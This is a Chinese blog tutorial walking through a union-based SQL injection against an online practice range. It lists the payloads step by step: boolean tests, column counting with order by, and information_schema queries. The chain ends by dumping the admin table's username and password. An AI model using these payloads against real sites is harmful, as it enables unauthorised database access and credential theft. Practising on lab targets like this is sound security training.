zoukankan      html  css  js  c++  java
  • SQL注入实战篇1--学会注入

    本次实战靶场用的封神台的SQL注入靶场。这是目前我发现的一个很不错的靶场,部署在互联网上,可以不用自己搭建靶机。

    靶场链接:http://59.63.200.79:8003/?id=1

    废话不多说,开搞。

    第一步,判断是否存在sql注入漏洞

    构造 ?id=1 and 1=1 ,回车

    页面返回正常

    构造 ?id=1 and 1=2 ,回车

    页面不正常,初步判断这里 可能 存在一个注入漏洞

     

    第二步:判断字段数

    构造 ?id=1 and 1=1 order by 1 回车

    页面正常

    构造 ?id=1 and 1=1 order by 2 回车

    页面正常

    构造 ?id=1 and 1=1 order by 3 回车

    页面返回 错误,判断字段数为   2

     

    第三步:判断回显点

    构造 ?id=1 and 1=2 union select 1,2 回车

    页面出现了  2  ,说明我们可以在数字  2  处显示我们想要的内容

     

    第四步:查询相关内容

    查询当前数据库名
    构造 ?id=1 and 1=2 union select 1,database() 回车

    查询当前数据库版本

    构造 ?id=1 and 1=2 union select 1,version() 回车
     
    查询当前数据库 表名
    构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

    绝大数情况下,管理员的账号密码都在admin表里

     
    查询字段名
    构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车

    构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车

    构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车

    查出 admin 表里 有  id   username  password  三个字段

     
    查询字段内容
    构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 回车

    构造 ?id=1 and 1=2 union select 1,password from admin  limit 1,1 回车

    limit 1,1 没有回显,说明只有一个用户

    构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1 回车

    得到管理员账号和密码

  • 相关阅读:
    制作ubuntu容器完整步骤
    linux系统python3安装pip
    ssh连接服务器提示拒绝了密码
    ubuntu中vi编辑中按键错误
    虚拟机ubuntu连不上网
    NOIP2020退役记
    【NOIp2020游记】
    loki简单安装配置使用
    .net下com调用支持x86/x64
    nginx 504 Gateway Time-out
  • 原文地址:https://www.cnblogs.com/xyz315/p/13043950.html
Copyright © 2011-2022 走看看